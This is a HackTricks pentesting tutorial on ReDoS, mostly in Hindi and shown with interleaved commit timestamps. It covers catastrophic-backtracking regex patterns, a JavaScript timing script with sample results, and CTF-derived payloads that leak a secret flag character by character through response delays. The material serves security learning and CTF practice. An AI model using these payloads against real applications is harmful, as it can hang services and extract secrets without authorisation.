hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

106 lines
8.3 KiB
Markdown
Raw Normal View History

# Regular expression Denial of Service - ReDoS
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
# Regular Expression Denial of Service (ReDoS)
2022-04-28 16:01:33 +00:00
एक **Regular Expression Denial of Service (ReDoS)** तब होता है जब कोई नियमित अभिव्यक्तियों (पाठ में पैटर्न खोजने और मेल करने का एक तरीका) में कमजोरियों का लाभ उठाता है। कभी-कभी, जब नियमित अभिव्यक्तियों का उपयोग किया जाता है, तो वे बहुत धीमी हो सकती हैं, विशेष रूप से यदि वे जिस पाठ के साथ काम कर रही हैं वह बड़ा हो जाता है। यह धीमापन इतना बुरा हो सकता है कि यह पाठ के आकार में छोटे-छोटे बढ़ोतरी के साथ तेजी से बढ़ता है। हमलावर इस समस्या का उपयोग करके एक ऐसा प्रोग्राम बना सकते हैं जो नियमित अभिव्यक्तियों का उपयोग करता है और लंबे समय तक सही तरीके से काम करना बंद कर देता है।
2022-04-28 16:01:33 +00:00
## The Problematic Regex Naïve Algorithm
2022-04-28 16:01:33 +00:00
**Check the details in [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
2021-01-26 13:51:43 +00:00
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
2021-01-26 13:53:03 +00:00
एक बुरी नियमित अभिव्यक्ति पैटर्न वह है जो **निर्मित इनपुट पर अटक सकता है जिससे DoS होता है**। बुरी regex पैटर्न आमतौर पर समूह के साथ पुनरावृत्ति और पुनरावृत्ति या वैकल्पिकता के साथ ओवरलैपिंग के साथ होती हैं। बुरी पैटर्न के कुछ उदाहरण हैं:
2021-01-26 13:51:43 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} for x > 10
2021-01-26 13:51:43 +00:00
ये सभी इनपुट `aaaaaaaaaaaaaaaaaaaaaaaa!` के प्रति संवेदनशील हैं।
2021-01-26 13:51:43 +00:00
## ReDoS Payloads
2021-01-26 13:51:43 +00:00
### String Exfiltration via ReDoS
2021-01-26 13:51:43 +00:00
एक CTF (या बग बाउंटी) में, शायद आप **Regex को नियंत्रित करते हैं जिससे संवेदनशील जानकारी (ध्वज) मेल खाती है**। फिर, यदि एक **Regex मेल खाता है** और **यदि यह मेल नहीं खाता है तो नहीं** तो **पृष्ठ को फ्रीज (टाइमआउट या लंबे प्रोसेसिंग समय)** करना उपयोगी हो सकता है। इस तरह आप **एक-एक करके** स्ट्रिंग **निकाल सकते हैं**:
2021-01-26 13:51:43 +00:00
* In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
* Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
* In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2021-01-26 13:51:43 +00:00
### ReDoS Controlling Input and Regex
निम्नलिखित **ReDoS** उदाहरण हैं जहाँ आप **इनपुट** और **regex** दोनों को **नियंत्रित** करते हैं:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
2023-11-06 08:38:02 +00:00
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
2023-11-06 08:38:02 +00:00
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Tools
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
2022-04-28 16:01:33 +00:00
## References
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks का समर्थन करें</summary>
2022-04-28 16:01:33 +00:00
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}